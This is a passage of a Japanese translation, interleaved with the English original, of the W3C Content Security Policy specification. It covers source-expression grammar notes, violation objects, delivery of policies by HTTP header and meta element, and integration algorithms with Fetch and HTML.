`host-char$p 生成規則は、 意図的に~ASCII文字のみを包含するようにされている。 国際-化~domain名は,`直列形の~CSP$の一部として直に手入力できないので、 代わりに Punycode `RFC3492$r に符号化されなければナラナイ。 例えば, ~domain `üüüüüü.de^s は、 `xn--tdaaaaaa.de^s として表現されなければナラナイ。 ◎ The host-char production intentionally contains only ASCII characters; internationalized domain names cannot be entered directly as part of a serialized CSP, but instead MUST be Punycode-encoded [RFC3492]. For example, the domain üüüüüü.de MUST be represented as xn--tdaaaaaa.de.
注記: ~IP~addressは,上の文法に合致するが、 ~source式~内に利用されたときに実際に合致する~URLは, `127.0.0.1^s に限られる (詳細は、 `~URLは ( 生成元, ~redirect回数 ) について~source~listに合致するか?$A を見よ)。 ~IP~addressが備える~securityの特質には疑義があるので、 アリな所では~hostnameを選好するべきである。 ◎ Note: Though IP address do match the grammar above, only 127.0.0.1 will actually match a URL when used in a source expression (see § 6.7.2.7 Does url match source list in origin with redirect count? for details). The security properties of IP addresses are suspect, and authors ought to prefer hostnames whenever possible.
注記: `base64-value$p の文法は、[ `base64$p, `base64url$p ]どちらの符号化-法も許容する。 これらの符号化-法は、 `hash-source$p 値を処理するときには,等価に扱われる。 その一方で,~nonceは、 `base64-value$p 文法を利用して厳密に文字列~照合される — 可用な文字を制限して, ~server側~運用者にとっての複階性を抑制するため(符号化-法, 等々)。 が,~UAは、 実際には,下層の値について~careすることも `nonce-source$p 値を復号することもない。 ◎ Note: The base64-value grammar allows both base64 and base64url encoding. These encodings are treated as equivalant when processing hash-source values. Nonces, however, are strict string matches: we use the base64-value grammar to limit the characters available, and reduce the complexity for the server-side operator (encodings, etc), but the user agent doesn’t actually care about any underlying value, nor does it do any decoding of the nonce-source value.
2.4. 違反
`違反@ ( `violation^en )は、 【!`大域~obj$に結付けられた`施策$~objたちが成す集合】 `大域~obj$が`有する~CSP~list$を成す ある`施策$に反した[ 動作/資源 ]を表現し,次に挙げるものからなる: ◎ A violation represents an action or resource which goes against the set of policy objects associated with a global object.
- `大域~obj@vr ( `global object^en ) ◎ Each violation has a global object,\
- 当の大域~obj ◎ which is the global object whose policy has been violated.
- `~URL@vr ( `url^en ) ◎ Each violation has a url\
- `大域~obj$vrの`~URL$ ◎ which is its global object’s URL.
- `状態s~code@vr ( `status^en ) ◎ Each violation has a status\
- 負でない整数 ◎ which is a non-negative integer\
- `大域~obj$vrを~instance化させた資源の`~HTTP状態s~code$を表現する。 ◎ representing the HTTP status code of the resource for which the global object was instantiated.
- `資源@vr ( `resource^en ) ◎ Each violation has a resource,\
- ~NULL/`~URL$/次に挙げるいずれかの文字列 ⇒# `inline^l / `eval^l / `wasm-eval^l / `trusted-types-policy^l / `trusted-types-sink^l ◎ which is either null, "inline", "eval", "wasm-eval", "trusted-types-policy", "trusted-types-sink" or a URL.\
- 施策に違反した資源【の種別】を表現する。 ◎ It represents the resource which violated the policy.
- 注記: 値 ~NULL が許容されるのは、 `違反$を拡充している間に限られる。 `違反$の`資源$vrは、 当の違反が報告されるとき — その`資源$vrが`違反の資源から~blockedURIを得する$Aために利用される時点 — までに, ~NULL 以外の許容される値で拡充されるべきである。 ◎ Note: The value null for a violation’s resource is only allowed while the violation is being populated. By the time the violation is reported and its resource is used for obtaining the blocked URI, the violation’s resource should be populated with a URL or one of the allowed strings.
- `~referrer@vr ( `referrer^en ) ◎ Each violation has a referrer,\
- ~NULL / `~URL$ ◎ which is either null, or a URL.\
- 施策に違反した資源の~referrerを表現する。 ◎ It represents the referrer of the resource whose policy was violated.
- `施策@vr ( `policy^en ) ◎ Each violation has a policy,\
- 違反された`施策$。 ◎ which is the policy that has been violated.
- `処置先@vr ( `disposition^en ) ◎ Each violation has a disposition,\
- 違反された施策の`処置先$。 ◎ which is the disposition of the policy that has been violated.
- `有効果な指令@vr ( `effective directive^en ) ◎ Each violation has an effective directive\
- 空でない文字列 ◎ which is a non-empty string\
- 施行nにより この違反を生じさせた[ `施策$vr内の`指令$ ]を表現する。 ◎ representing the directive whose enforcement caused the violation.
- `~source~file@vr ( `source file^en ) ◎ Each violation has a source file,\
- ~NULL / `~URL$ ◎ which is either null or a URL.
- `行番号@vr ( `line number^en ) ◎ Each violation has a line number,\
- 負でない整数 ◎ which is a non-negative integer.
- `列番号@vr ( `column number^en ) ◎ Each violation has a column number,\
- 負でない整数 ◎ which is a non-negative integer.
- `要素@vr ( `element^en ) ◎ Each violation has a element,\
- ~NULL /要素 ◎ which is either null or an element.
- `見本@vr ( `sample^en ) ◎ Each violation has a sample,\
- 文字列 — 他が指定されない限り,空~文字列とする。 ◎ which is a string. It is the empty string unless otherwise specified.
- 注記: `見本$vrは、 違反を生じさせた~inlineな[ ~script/~event~handler/~style ]を成す最初の 40 文字で拡充されることになる。 外部~fileによる違反に際しては、 見本は違反~報告には含められない。 ◎ Note: A violation’s sample will be populated with the first 40 characters of an inline script, event handler, or style that caused an violation. Violations which stem from an external file will not include a sample in the violation report.
2.4.1. ( 大域~obj, 施策, 指令~名 ) から違反~objを作成する
次の~algoは、 新たな`違反$~objを,所与の ( `大域~obj$ %大域~obj, `施策$ %施策, `文字列$ %指令~名 ) から作成して、 それを初期~dataの集合で拡充する: ◎ Given a global object global, a policy policy, and a string directive, the following algorithm creates a new violation object, and populates it with an initial set of data:
- %違反 ~LET 新たな`違反$ — その ⇒# `大域~obj$vr ~SET %大域~obj, `施策$vr ~SET %施策, `有効果な指令$vr ~SET %指令~名, `資源$vr ~SET ~NULL ◎ Let violation be a new violation whose global object is global, policy is policy, effective directive is directive, and resource is null.
-
~IF[ ~UAは,現在~scriptを実行している ]~AND[ %大域~obj から ~scriptの~source~fileの ( ~URL, 行番号, 列番号 ) を抽出できる ] ⇒ %違反 の ( `~source~file$vr, `行番号$vr, `列番号$vr ) ~SET それら ◎ If the user agent is currently executing script, and can extract a source file’s URL, line number, and column number from the global, set violation’s source file, line number, and column number accordingly.
この種のものは,どこかで指定されているのか? `ECMA262$r には,有用な~~記述は見当たらない。 ◎ Is this kind of thing specified anywhere? I didn’t see anything that looked useful in [ECMA262].
注記: ~UAは、[ `~source~file$vr が,~pageにより要請された~redirect前の~URLになる ]ことを確保する必要がある。 それがアリでない場合、 ~UAは,~URLを生成元のみに剥いで,意図的でない漏洩eを避ける必要がある。 ◎ Note: User agents need to ensure that the source file is the URL requested by the page, pre-redirects. If that’s not possible, user agents need to strip the URL down to an origin to avoid unintentional leakage.
- ~IF[ %大域~obj は `Window$I ~objである ] ⇒ %違反 の`~referrer$vr ~SET %大域~obj に`結付けられた文書$【!~WINDOW#dom-window-document】の`~referrer$doc【!~HTMLdom#dom-document-referrer】 ◎ If global is a Window object, set violation’s referrer to global’s document's referrer.
-
%違反 の`状態s~code$vr ~SET %違反 の`大域~obj$vrに結付けられた資源の~HTTP状態s~code ◎ Set violation’s status to the HTTP status code for the resource associated with violation’s global object.
状態s~codeは,正確にはどうやって取得する? — 実際には どこにも格納されていない。 ◎ How, exactly, do we get the status code? We don’t actually store it anywhere.
- ~RET %違反 ◎ Return violation.
2.4.2. ( 要請, 施策 ) から 違反~objを作成する
次の~algoは、 所与の ( `要請$ %要請, `施策$ %施策 ) から新たな`違反$~objを作成して,それを初期~dataの集合で拡充する: ◎ Given a request request, a policy policy, the following algorithm creates a new violation object, and populates it with an initial set of data:
- %指令~名 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let directive be the result of executing § 6.8.1 Get the effective directive for request on request.
- ~Assert: %要請 の`~client$rq ~NEQ ~NULL 【この段は、この訳による補完。】
- %違反 ~LET `新たな違反~obj$A1( %要請 の`~client$rqの`大域~obj$enV, %施策, %指令~名 ) ◎ Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on request’s client’s global object, policy, and directive.
-
%違反 の`資源$vr ~SET %要請 の`~URL$rq ◎ Set violation’s resource to request’s url.
注記: ここでは %要請 の`~URL$rqを利用する — その`現在の~URL$rq `ではなく^em — 後者は、[ ~pageから~accessされてはナラナイような,~redirect~target ]についての情報を包含することもあるので。 ◎ Note: We use request’s url, and not its current url, as the latter might contain information about redirect targets to which the page MUST NOT be given access.
- ~RET %違反 ◎ Return violation.
3. 施策の送達
~serverは、 特定0の`資源~表現$用に`施策$を宣言してもヨイ — `施策$を`直列化-$した上で,~HTTP応答~headerの値に与えることにより。 この仕組みは、[ `Content-Security-Policy@#csp-header$h / `Content-Security-Policy-Report-Only@#cspro-header$h ]~HTTP応答~headerにて詳細に定義される。 また、[ `§ ~Fetchとの統合$ / `§ ~HTMLとの統合$ ]にて[ ~Fetch / ~HTML ]との統合が述べられる。 ◎ A server MAY declare a policy for a particular resource representation via an HTTP response header field whose value is a serialized CSP. This mechanism is defined in detail in § 3.1 The Content-Security-Policy HTTP Response Header Field and § 3.2 The Content-Security-Policy-Report-Only HTTP Response Header Field, and the integration with Fetch and HTML is described in § 4.1 Integration with Fetch and § 4.2 Integration with HTML.
`施策$は、 § `meta^e 要素 にて述べられるとおり,[ `meta$e 要素の `http-equiv$a 属性を介して ~HTML文書~内に~inlineに宣言する ]こともできる。 ◎ A policy may also be declared inline in an HTML document via a meta element’s http-equiv attribute, as described in § 3.3 The <meta> element.
3.1. `Content-Security-Policy^h ~HTTP応答~header
`Content-Security-Policy@h ~HTTP応答~headerが、 ~serverから~clientへ施策を送達するときに選好される仕組みである。 この~headerの値は、 次の`~ABNF$で表現される: ◎ The Content-Security-Policy HTTP response header field is the preferred mechanism for delivering a policy from a server to a client. The header’s value is represented by the following ABNF [RFC5234]:
Content-Security-Policy = 1#`serialized-policy$p
この~ABNFにおける '`#^P' は、 この仕様が定義する`#規則$に従うとする。 ◎ ; The '#' rule is the one defined in section 5.6.1 of RFC 9110 ; but it incorporates the modifications specified ; in section 2.1 of this document.
`Content-Security-Policy$h: `script-src$dir `self$pl; `report-to$dir csp-reporting-endpoint
~serverは、 同じ資源の異なる`表現$ごとに,異なる `Content-Security-Policy^h ~header値を送信してもヨイ。 ◎ A server MAY send different Content-Security-Policy header field values with different representations of the same resource.
`Content-Security-Policy^h ~headerを受信した~UAは、 それが包含する各 `直列形の~CSP$を`構文解析-$した結果を[ `§ ~Fetchとの統合$ / `§ ~HTMLとの統合$ ]にて述べられるとおり`施行-$するモノトスル。 ◎ When the user agent receives a Content-Security-Policy header field, it MUST parse and enforce each serialized CSP it contains as described in § 4.1 Integration with Fetch, § 4.2 Integration with HTML.
3.2. `Content-Security-Policy-Report-Only^h ~HTTP応答~header
`Content-Security-Policy-Report-Only@h ~HTTP応答~headerは、[ 施策による効果を(施行することなく)監視して,実験する ]ことを,~web開発者に許容する。 この~headerの値は、 次の`~ABNF$で表現される: ◎ The Content-Security-Policy-Report-Only HTTP response header field allows web developers to experiment with policies by monitoring (but not enforcing) their effects. The header’s value is represented by the following ABNF [RFC5234]:
Content-Security-Policy-Report-Only = 1#`serialized-policy$p
この~ABNFにおける '`#^P' は、 この仕様が定義する`#規則$に従うとする。 ◎ ; The '#' rule is the one defined in section 5.6.1 of RFC 9110 ; but it incorporates the modifications specified ; in section 2.1 of this document.
この~headerは、[ ~web開発者が,自身の~security施策の様々な組み合わせを反復的に開発する ]ことを許容する — 報告のみ行う施策を[ ~siteの挙動についての最良な見積もり ]に基づいて配備して, 違反~報告を注視して, 挙動に~~確信が得られた時点で施策を施行-へ移すことにより。 ◎ This header field allows developers to piece together their security policy in an iterative fashion, deploying a report-only policy based on their best estimate of how their site behaves, watching for violation reports, and then moving to an enforced policy once they’ve gained confidence in that behavior.
`Content-Security-Policy-Report-Only$h: `script-src$dir `self$pl; `report-to$dir csp-reporting-endpoint
~serverは、 同じ資源の異なる`表現$ごとに,異なる `Content-Security-Policy-Report-Only^h ~header値を送信してもヨイ。 ◎ A server MAY send different Content-Security-Policy-Report-Only header field values with different representations of the same resource.
`Content-Security-Policy-Report-Only^h ~headerを受信した~UAは、 それが包含する各 `直列形の~CSP$を`構文解析-$した結果を[ `§ ~Fetchとの統合$ / `§ ~HTMLとの統合$ ]にて述べられるとおり`監視-$するモノトスル。 ◎ When the user agent receives a Content-Security-Policy-Report-Only header field, it MUST parse and monitor each serialized CSP it contains as described in § 4.1 Integration with Fetch and § 4.2 Integration with HTML.
注記: `Content-Security-Policy-Report-Only^h ~headerは、 `meta$e 要素の内側では~supportされない。 ◎ Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.
3.3. `meta^e 要素
`文書$は、 1 個~以上†の[ ~HTML `meta$e 要素であって, [ その `http-equiv$a 属性~値 ~EQ`大小無視$sub `Content-Security-Policy^l ]なるもの ]を介して,施策を送達してもヨイ — 例えば: ◎ A Document may deliver a policy via one or more HTML meta elements whose http-equiv attributes are an ASCII case-insensitive match for the string "Content-Security-Policy". For example:\
【† と記されているが、 ~HTMLは,複数個の[ 等価な `http-equiv^a を伴う `meta^e ]を許容していない。 】
<meta http-equiv="Content-Security-Policy" content="`script-src$dir `self$pl" >
実装の詳細は、 `HTML$r の[ `~CSP状態@~HEmetadata#attr-meta-http-equiv-content-security-policy$にある `http-equiv$a ~pragma指令 ]にて見出せる。 ◎ Implementation details can be found in HTML’s Content Security Policy state http-equiv processing instructions [HTML].
注記: `Content-Security-Policy-Report-Only^h ~headerは、 `meta$e 要素の内側では~supportされない — [ `report-uri$dir, `frame-ancestors^dir, `sandbox^dir ]指令も含め。 ◎ Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element. Neither are the report-uri, frame-ancestors, and sandbox directives.
`meta$e 要素~内の施策は、 それに先行する内容には適用されない。 したがって,作者には、[ `meta$e 要素を アリな限り文書の始めの方に配置する ]ことが`強く奨励される^em。 特に,[ `Link$h ~HTTP応答~header / 施策を送達する `meta$e に先行する[ `link$e / `script$e ]要素 ]を利用して[ ~fetchあるいは~prefetch ]される資源は、 阻止されないことに注意。 ◎ Authors are strongly encouraged to place meta elements as early in the document as possible, because policies in meta elements are not applied to content which precedes them. In particular, note that resources fetched or prefetched using the Link HTTP response header field, and resources fetched or prefetched using link and script elements which precede a meta-delivered policy will not be blocked.
注記: `meta$e 要素を介して指定される`施策$は、 保護される資源にて作動中な他の施策とともに — 他の施策がどこで指定されたかに関わらず — 施行される。 複数の施策を施行するときの一般的な影響iは、 `§ 複数の施策による効果@#multiple-policies$ にて述べる。 ◎ Note: A policy specified via a meta element will be enforced along with any other policies active for the protected resource, regardless of where they’re specified. The general impact of enforcing multiple policies is described in § 8.1 The effect of multiple policies.
注記: 要素が構文解析された後に, `meta$e 要素の `content$a 属性を改変しても、 無視される。 ◎ Note: Modifications to the content attribute of a meta element after the element has been parsed will be ignored.
4. 他の仕様との統合
◎非規範的この文書は、 ~CSPの機能性を実装するために,他の仕様から利用される一群の~algoを定義する。 明確さを得るため、 これらの統合は,ここで要旨されるが、 詳細な情報への規範的な参照は,それらの外部~文書に諮るべきである。 ◎ This document defines a set of algorithms which are used in other specifications in order to implement the functionality. These integrations are outlined here for clarity, but those external documents are the normative references which ought to be consulted for detailed information.
4.1. ~Fetchとの統合
`指令$のうち一部は、 何らかの仕方で,資源の読込ngを制御する。 この仕様は、 `FETCH$r にて[ 特定0の`要請$を阻止するべきか許容するべきか / 特定0の`応答$を`~network~error$に置換するべきかどうか ]について裁定を下せるようにする,いくつかの~algoを供する。 ◎ A number of directives control resource loading in one way or another. This specification provides algorithms which allow Fetch to make decisions about whether or not a particular request should be blocked or allowed, and about whether a particular response should be replaced with a network error.
- `要請は~CSPにより阻止されるべきか?$Aは、 `~main~fetch$~algoの中(開始近く)【!step 2.4】から~callされる。 これは、 各`要請$に対し,[ それが~networkを叩く前 ]および[ それが資源に達するまでに生じ得る各~redirect ]において[ 指令の`要請前~検査$Aを実行する ]ことを許容する。 ◎ § 4.1.2 Should request be blocked by Content Security Policy? is called as part of step 2.4 of the Main Fetch algorithm. This allows directives' pre-request checks to be executed against each request before it hits the network, and against each redirect that a request might go through on its way to reaching a resource.
- `要請に対する応答は~CSPにより阻止されるべきか?$Aは、 `~main~fetch$~algoの中(終了近く)【!step 11】から~callされる。 これは、[ ~networkまたは~swから送達された`応答$ ]に対し,[ 指令の`要請後~検査$Aを実行する ]ことを許容する。 ◎ § 4.1.3 Should response to request be blocked by Content Security Policy? is called as part of step 11 of the Main Fetch algorithm. This allows directives' post-request checks to be executed on the response delivered from the network or from a Service Worker.
4.1.1. 要請に対する~CSP違反を報告する
次の~algoは、 所与の ( `要請$ %要請 ) に対し,[ %要請 の`施策~容器$rqの`~CSP~list$pCの “報告のみ” の施策 ]に基づいて違反を報告する: ◎ Given a request request, this algorithm reports violations based on policy container's CSP list "report only" policies.
- %~CSP~list ~LET %要請 の`施策~容器$rqの`~CSP~list$pC ◎ Let CSP list be request’s policy container's CSP list.
-
%~CSP~list を成す ~EACH( %施策 ) に対し: ◎ For each policy of CSP list:
- ~IF[ %施策 の`処置先$ ~EQ `enforce^l ] ⇒ ~CONTINUE ◎ If policy’s disposition is "enforce", then skip to the next policy.
- %違反された指令 ~LET `要請は施策に違反するか?$A( %要請, %施策 ) ◎ Let violates be the result of executing § 6.7.2.1 Does request violate policy? on request and policy.
- ~IF[ %違反された指令 ~NEQ ε ] ⇒ `違反を報告する$A( `新たな違反~obj$A( %要請, %施策 ) ) ◎ If violates is not "Does Not Violate", then execute § 5.5 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request, and policy.
4.1.2. 要請は~CSPにより阻止されるべきか?
次の~algoは、 所与の ( `要請$ %要請 ) に対し,[ `阻止される^i / `許容される^i ]を返すことに加え、 【前者を返す場合には】[ %要請 の`施策~容器$rqの`~CSP~list$pC ]に基づいて違反を報告する: ◎ Given a request request, this algorithm returns Blocked or Allowed and reports violations based on request’s policy container's CSP list.
- %~CSP~list ~LET %要請 の`施策~容器$rqの`~CSP~list$pC ◎ Let CSP list be request’s policy container's CSP list.
- %結果 ~LET `許容される^i ◎ Let result be "Allowed".
-
%~CSP~list を成す ~EACH( %施策 ) に対し: ◎ For each policy of CSP list:
- ~IF[ %施策 の`処置先$ ~EQ `report^l ] ⇒ ~CONTINUE ◎ If policy’s disposition is "report", then skip to the next policy.
- %違反された指令 ~LET `要請は施策に違反するか?$A( %要請, %施策 ) ◎ Let violates be the result of executing § 6.7.2.1 Does request violate policy? on request and policy.
-
~IF[ %違反された指令 ~NEQ ε ]: ◎ If violates is not "Does Not Violate", then:
- `違反を報告する$A( `新たな違反~obj$A( %要請, %施策 ) ) ◎ Execute § 5.5 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request, and policy.
- %結果 ~SET `阻止される^i ◎ Set result to "Blocked".
- ~RET %結果 ◎ Return result.
4.1.3. 要請に対する応答は~CSPにより阻止されるべきか?
次の~algoは、 所与の ( `応答$ %応答, `要請$ %要請 ) に対し,[ `阻止される^i / `許容される^i ]を返すことに加え、 【前者を返す場合には】[ %要請 の`施策~容器$rqの`~CSP~list$pC ]に基づいて違反を報告する: ◎ Given a response response and a request request, this algorithm returns Blocked or Allowed, and reports violations based on request’s policy container's CSP list.
- %~CSP~list ~LET %要請 の`施策~容器$rqの`~CSP~list$pC ◎ Let CSP list be request’s policy container's CSP list.
- %結果 ~LET `許容される^i ◎ Let result be "Allowed".
-
%~CSP~list を成す ~EACH( %施策 ) に対し: ◎ For each policy of CSP list:
-
%施策 の`指令~集合$を成す ~EACH( %指令 ) に対し: ◎ For each directive of policy:
-
~IF[ %指令 の`要請後~検査$Aを実行した結果 ~EQ `阻止される^i ]: ◎ If the result of executing directive’s post-request check is "Blocked", then:
- `違反を報告する$A( `新たな違反~obj$A( %要請, %施策 ) ) ◎ Execute § 5.5 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request, and policy.
- ~IF[ %施策 の`処置先$ ~EQ `enforce^l ] ⇒ %結果 ~SET `阻止される^i ◎ If policy’s disposition is "enforce", then set result to "Blocked".
-
注記: 検査のこの部位は、 ~pageが応答を読込めるかどうかを検証yする。 すなわち,~swが、 ~pageの~CSPに違反するような~fileで代用していないかどうかを。 ◎ Note: This portion of the check verifies that the page can load the response. That is, that a Service Worker hasn’t substituted a file which would violate the page’s CSP.
-
- ~RET %結果 ◎ Return result.
4.1.4. 必要なら~hashを報告する
所与の ( `応答$ %応答, `要請$ %要請, `指令$ %指令 `施策$ %施策 ) に対し,次の手続きを走らす: ◎ Given a response response, a request request, a directive directive and a content security policy object policy, run the following steps:
- %~algo ~LET ε【!the empty string】 ◎ Let algorithm be the empty string.
- ~IF[ "`report-sha256$pl" ~IN %指令 の`値$ ] ⇒ %~algo ~SET `sha256^l ◎ If directive’s value contains the expression "'report-sha256'", set algorithm to "sha256".
- ~IF[ "`report-sha384$pl" ~IN %指令 の`値$ ] ⇒ %~algo ~SET `sha384^l ◎ If directive’s value contains the expression "'report-sha384'", set algorithm to "sha384".
- ~IF[ "`report-sha512$pl" ~IN %指令 の`値$ ] ⇒ %~algo ~SET `sha512^l ◎ If directive’s value contains the expression "'report-sha512'", set algorithm to "sha512".
- ~IF[ %~algo ~EQ ε【!the empty string】 ] ⇒ ~RET ◎ If algorithm is the empty string, return.
- %~hash ~LET 空`文字列$ ◎ Let hash be the empty string.
- ~IF[ %応答 は`~CORS同一-生成元$である ] ⇒ %~hash ~SET 次を順に`連結する$ ⇒# %~algo, `002D^U ( `-^l ), `~byte列に~algoを適用する$( %応答 の`本体$rs, %~algo ) ◎ If response is CORS-same-origin, then: • Let hash list be a list of strings, initially empty. • Append algorithm to hash list. • Append the result of applying algorithm to bytes on response’s body and algorithm to hash list. • Let hash be the result of concatenating hash list with U+002D (-).
- ~Assert: %要請 の`~client$rq ~NEQ ~NULL 【この段は、この訳による補完。】
- %大域~obj ~LET %要請 の`~client$rqの`大域~obj$enV ◎ Let global be the request’s client's global object.
- ~IF[ %大域~obj は `Window$I でない ] ⇒ ~RET ◎ If global is not a Window, return.
- %報告~用~URL ~LET `報告~内の利用-用に~URLを剥ぐ$A( %大域~obj の`文書$の`~URL$doc ) ◎ Let stripped document URL to be the result of executing § 5.4 Strip URL for use in reports on global’s document's URL.
- %報告-先~指令 ~LET [ %施策 の`指令~集合$内に[ `名前$ `report-to$dir を伴う`指令$ ]は[ 在るならば それ/ 無いならば ε ] ◎ ↓
- ~IF[ %報告-先~指令 ~EQ ε ] ⇒ ~RET ◎ If policy’s directive set does not contain a directive named "report-to", return. ◎ Let report-to directive be a directive named "report-to" from policy’s directive set.
- %本体 ~LET 新たな`~CSP~hash報告の本体$ — その ⇒# `文書~URL$hrB ~SET %報告~用~URL, `下位資源~URL$hrB ~SET %要請 の`~URL$rq, `~hash$hrB ~SET %~hash, `行先$hrB ~SET %要請 の`行先$rq, `種別$hrB ~SET `subresource^l ◎ Let body be a csp hash report body with stripped document URL as its documentURL, request’s URL as its subresourceURL, hash as its hash, request’s destination as its destination, and "subresource" as its type.
- `報告を生成して~queueする$( ↓ ) ⇒# %大域~obj【!settings object】, `csp-hash^l, %報告-先~指令 の`値$, %本体 ◎ Generate and queue a report with the following arguments: ◎ • context •• settings object • type •• "csp-hash" • destination •• report-to directive’s value. • data •• body
4.2. ~HTMLとの統合
- `施策~容器$は、 所与の文脈~用に作動中な`施策$~objすべてを保持する`~CSP~list$pCを有する。 この~listは、 他が指定されない限り空であり,ある`応答$から`応答の~CSPを構文解析する$Aことにより拡充されるか, `施策~容器$の規則に従って継承される。 ◎ The policy container has a CSP list, which holds all the policy objects which are active for a given context. This list is empty unless otherwise specified, and is populated from the response by parsing response’s Content Security Policies or inherited following the rules of the policy container.
- `大域~obj$ %G の `~CSP~list@gO は、 %G が`有する~CSP~list$を返す。 【この訳では、この用語は利用せず,一律に “`有する~CSP~list$” を通して述べる。】 ◎ A global object’s CSP list is the result of executing § 4.2.2 Retrieve the CSP list of an object with the global object as the object.
- `施策$は、 `大域~obj$が`有する~CSP~list$内に挿入されることにより,`大域~obj$に対し[ `施行-@ / `監視-@ ]されることになる。 ◎ A policy is enforced or monitored for a global object by inserting it into the global object’s CSP list.
- `文書~用に~CSP初期化を走らす$A ~algoは、 `文書を作成して初期化する$間に~callされる。 ◎ § 4.2.1 Run CSP initialization for a Document is called during the create and initialize a new Document object algorithm.
-
`要素における~inlineな型の挙動は~CSPにより阻止されるべきか?$A は、 次の 2 つから~callされる:
- `~script要素を準備する$ときに,~inlineな~script~blockの実行が許容されるかどうかを決定するとき。
- `~style~blockを更新する$~algoの中で,~inlineな~style~blockによる具現化-が許容されるかどうかを決定するとき。
- `要素における~inlineな型の挙動は~CSPにより阻止されるべきか?$Aは、[ ~inlineな~event~handler( `onclick^c など)/ ~inlineな `style^a 属性 ]を取扱う間に,[ その[ 実行- / 具現化- ]が許容されるべきかどうか ]を決定するために~callされる。 ◎ § 4.2.3 Should element’s inline type behavior be blocked by Content Security Policy? is called during handling of inline event handlers (like onclick) and inline style attributes in order to determine whether or not they ought to be allowed to execute/render.
- 各 `施策$は、 `meta$e 要素の `http-equiv$a 属性を処理する間に`施行され$る。 ◎ policy is enforced during processing of the meta element’s http-equiv.
-
HTML は、[ 資源の読込ngに責を負う要素 ]からの関連な~dataで,各`要請$の[ `暗号用~nonce~metadata$rq, `構文解析器~metadata$rq ]を拡充する。 ◎ HTML populates each request’s cryptographic nonce metadata and parser metadata with relevant data from the elements responsible for resource loading.
~stylesheetの読込ngは、 まだ ~HTMLにおける~Fetchには統合されていない [`whatwg/html 課題 #968@~HTMLissue/968$] ◎ Stylesheet loading is not yet integrated with Fetch in WHATWG’s HTML. [Issue #whatwg/html#968]
- `文書に対する基底は許容されるか?@#allow-base-for-document$は、 `href$a 属性の値が妥当になることを確保するため, `base$e の`凍結d基底~URLを設定する$間に~callされる ◎ § 6.3.1.1 Is base allowed for document? is called during base's set the frozen base URL algorithm to ensure that the href attribute’s value is valid.
- `ある種別の~navi要請は~CSPにより阻止されるべきか?$Aは、 `~fetchingにより~navi~paramsを作成する$間に~callされる。 `~targetにおける ある種別の~navi要請に対する応答は~CSPにより阻止されるべきか?$Aは、 `履歴~entryの文書を拡充しようと試みる$間に~callされる。 いずれも,指令の~navi検査を適用する。 後者は `javascript_^sc ~URLへの~naviに対する~inline検査を適用する。 ◎ § 4.2.4 Should navigation request of type be blocked by Content Security Policy? is called during the create navigation params by fetching algorithm, and § 4.2.5 Should navigation response to navigation request of type in target be blocked by Content Security Policy? is called during the attempt to populate the history entry’s document algorithm to apply directive’s navigation checks, as well as inline checks for navigations to javascript: URLs.
- `大域~obj用に~CSP初期化を走らす$Aは、 `~workerを走らす$【/`~swを走らす$】間に~callされる。 ◎ § 4.2.6 Run CSP initialization for a global object is called during the run a worker algorithm.
- `sandbox$dir 指令は、 `~CSPから導出される~sandbox法~flag群$を拡充するために利用される。 ◎ The sandbox directive is used to populate the CSP-derived sandboxing flags.
4.2.1. 文書~用に~CSP初期化を走らす
次の~algoは、 所与の ( `文書$ %文書 ) に対し, %文書 用の~CSPを初期化する: ◎ Given a Document document, the user agent performs the following steps in order to initialize CSP for document:
-
%文書 の`施策~容器$docの`~CSP~list$pCを成す ~EACH( %施策 ) に対し: ◎ For each policy of document’s policy container's CSP list:
-
%施策 の`指令~集合$を成す ~EACH( %指令 ) に対し: ◎ For each directive of policy:
- %結果 ~LET %指令 の`初期化$A( %文書【, %施策】 ) ◎ Execute directive’s initialization algorithm on document, and\
- ~Assert: %結果 ~EQ `許容される^i ◎ assert: its returned value is "Allowed".
-
4.2.2. ~objの~CSP~listを検索取得する
%~obj が `有する~CSP~list@ は、 %~obj に応じて,次を返す: ◎ To obtain object’s CSP list:
- `文書$である ⇒ %~obj の`施策~容器$docの`~CSP~list$pC ◎ If object is a Document return object’s policy container's CSP list.
- [ `Window$I / `WorkerGlobalScope$I / `WorkletGlobalScope$I ]である ⇒ `環境~設定群~obj$【%~obj に`関連な設定群~obj$?】の`施策~容器$enVの`~CSP~list$pC ◎ If object is a Window or a WorkerGlobalScope or a WorkletGlobalScope, return environment settings object’s policy container's CSP list.
- その他 ⇒ ~NULL ◎ Return null.
4.2.3. 要素における~inlineな型の挙動は~CSPにより阻止されるべきか?
この~algoは、 所与の ( `要素$ %要素, 文字列 %型, 文字列 %~source ) に対し, %要素 における[ ~inlineな定義による特定0の型の挙動( ~script実行, ~styleの適用, ~event~handler, 等々) ]が[ 許容されるならば `許容される^i / 許容されないならば `阻止される^i ]を返す: ◎ Given an Element element, a string type, and a string source this algorithm returns "Allowed" if the element is allowed to have inline definition of a particular type of behavior (script execution, style application, event handlers, etc.), and "Blocked" otherwise:
- ~Assert: %型 ~IN { `script^l, `script attribute^l, `style^l, `style attribute^l } ◎ Note: The valid values for type are "script", "script attribute", "style", and "style attribute".
- ~Assert: %要素 ~NEQ ~NULL ◎ Assert: element is not null.
- %結果 ~LET `許容される^i ◎ Let result be "Allowed".
-
%要素 の`文書$の`大域~obj$が`有する~CSP~list$ 【 %要素 の`~node文書$が`有する~CSP~list$?】 を成す ~EACH( %施策 ) に対し: ◎ For each policy of element’s Document's global object’s CSP list:
-
%施策 の`指令~集合$を成す ~EACH( %指令 ) に対し: ◎ For each directive of policy’s directive set:
- ~IF[ %指令 の`~inline検査$A( %要素, %型, %施策, %~source ) の結果 ~EQ `許容される^i ] ⇒ ~CONTINUE ◎ If directive’s inline check returns "Allowed" when executed upon element, type, policy and source, skip to the next directive.
- %指令~名 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 ) ◎ Let directive-name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
- %違反 ~LET `新たな違反~obj$A1( `現在の設定群~obj$の`大域~obj$enV, %施策, %指令~名 ) ◎ Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on the current settings object’s global object, policy, and directive-name.
- %違反 の`資源$vr ~SET `inline^l ◎ Set violation’s resource to "inline".
